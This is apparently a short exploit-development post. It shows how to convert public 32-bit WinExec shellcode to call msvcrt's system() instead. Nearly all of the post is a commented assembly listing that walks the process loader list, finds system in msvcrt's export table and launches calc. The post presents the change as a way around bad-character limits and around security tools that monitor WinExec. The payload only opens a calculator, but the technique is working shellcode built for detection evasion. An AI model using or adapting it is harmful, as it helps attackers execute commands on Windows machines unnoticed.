I have found an interesting method to convert WinExec
shellcode. This may be useful if WinExec
cannot be used because the characters WinE
are bad characters or if there are security solutions monitoring for its execution. This method requires msvcrt.dll
to be loaded as it uses the system
call in place of WinExec
. Both methods take in similar parameters so this can be achieved with only a few bytes of code change.
As an example, I will be using this 32bit WinExec calc shellcode. Credits to Skylined and Peter Ferrie for the original shellcode and the extremely detailed comments. As you can observe, we saved 1 byte with uCmdShow and inserted only 6 more bytes for the entire conversion. Depending on the DLL load order for your binary, it may take slightly more or less bytes to traverse the linked list to get to msvcrt
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31 | 0: 31 d2 xor edx,edx ; EDX = 0
2: 52 push edx ; Stack = 0
3: 68 63 61 6c 63 push 0x636c6163 ; Stack = "calc", 0
8: 54 push esp
9: 59 pop ecx ; ECX = &("calc")
a: 52 push edx ; CODE REMOVED HERE - We don't need uCmdShow parameter for system method
b: 51 push ecx ; Stack = &("calc"), "calc", 0
c: 64 8b 72 30 mov esi,DWORD PTR fs:[edx+0x30] ; ESI = [TEB + 0x30] = PEB
10: 8b 76 0c mov esi,DWORD PTR [esi+0xc] ; ESI = [PEB + 0x0C] = PEB_LDR_DATA
13: 8b 76 0c mov esi,DWORD PTR [esi+0xc] ; ESI = [PEB_LDR_DATA + 0x0C] = LDR_MODULE InLoadOrder[0] (process)
16: ad lods eax,DWORD PTR ds:[esi] ; EAX = InLoadOrder[1] (ntdll)
17: 8b 30 mov esi,DWORD PTR [eax] ; ESI = InLoadOrder[2] (kernel32)
19: 8b 36 mov esi,DWORD PTR [esi] ; CODE INSERTED HERE - ESI = InLoadOrder[3] (aaaa)
1b: 8b 36 mov esi,DWORD PTR [esi] ; CODE INSERTED HERE - ESI = InLoadOrder[4] (bbbb)
1d: 8b 36 mov esi,DWORD PTR [esi] ; CODE INSERTED HERE - ESI = InLoadOrder[5] (msvcrt)
1f: 8b 7e 18 mov edi,DWORD PTR [esi+0x18] ; EDI = [InLoadOrder[5] + 0x18] = msvcrt DllBase
22: 8b 5f 3c mov ebx,DWORD PTR [edi+0x3c] ; EBX = [msvcrt + 0x3C] = offset(PE header)
25: 8b 5c 1f 78 mov ebx,DWORD PTR [edi+ebx*1+0x78] ; EBX = [PE32 optional header + offset(PE32 export table offset)] = offset(export table)
29: 8b 74 1f 20 mov esi,DWORD PTR [edi+ebx*1+0x20] ; ESI = [msvcrt + offset(export table) + 0x20] = offset(names table)
2d: 01 fe add esi,edi ; ESI = msvcrt + offset(names table) = &(names table)
2f: 8b 54 1f 24 mov edx,DWORD PTR [edi+ebx*1+0x24] ; EDX = [msvcrt + offset(export table) + 0x24] = offset(ordinals table)
33: 0f b7 2c 17 movzx ebp,WORD PTR [edi+edx*1] ; EBP = [msvcrt + offset(ordinals table) + offset] = function ordinal
37: 42 inc edx
38: 42 inc edx ; EDX = offset += 2
39: ad lods eax,DWORD PTR ds:[esi] ; EAX = &(names table[function number]) = offset(function name)
3a: 81 3c 07 73 79 73 74 cmp DWORD PTR [edi+eax*1],0x74737973 ; CODE CHANGED HERE - Change WinE to syst
41: 75 f0 jne 0x33
43: 8b 74 1f 1c mov esi,DWORD PTR [edi+ebx*1+0x1c] ; ESI = [msvcrt + offset(export table) + 0x1C] = offset(address table)] = offset(address table)
47: 01 fe add esi,edi ; ESI = msvcrt + offset(address table) = &(address table)
49: 03 3c ae add edi,DWORD PTR [esi+ebp*4] ; EDI = msvcrt + [&(address table)[system ordinal]] = offset(system) = &(system)
4c: ff d7 call edi ; system(&("calc"));
|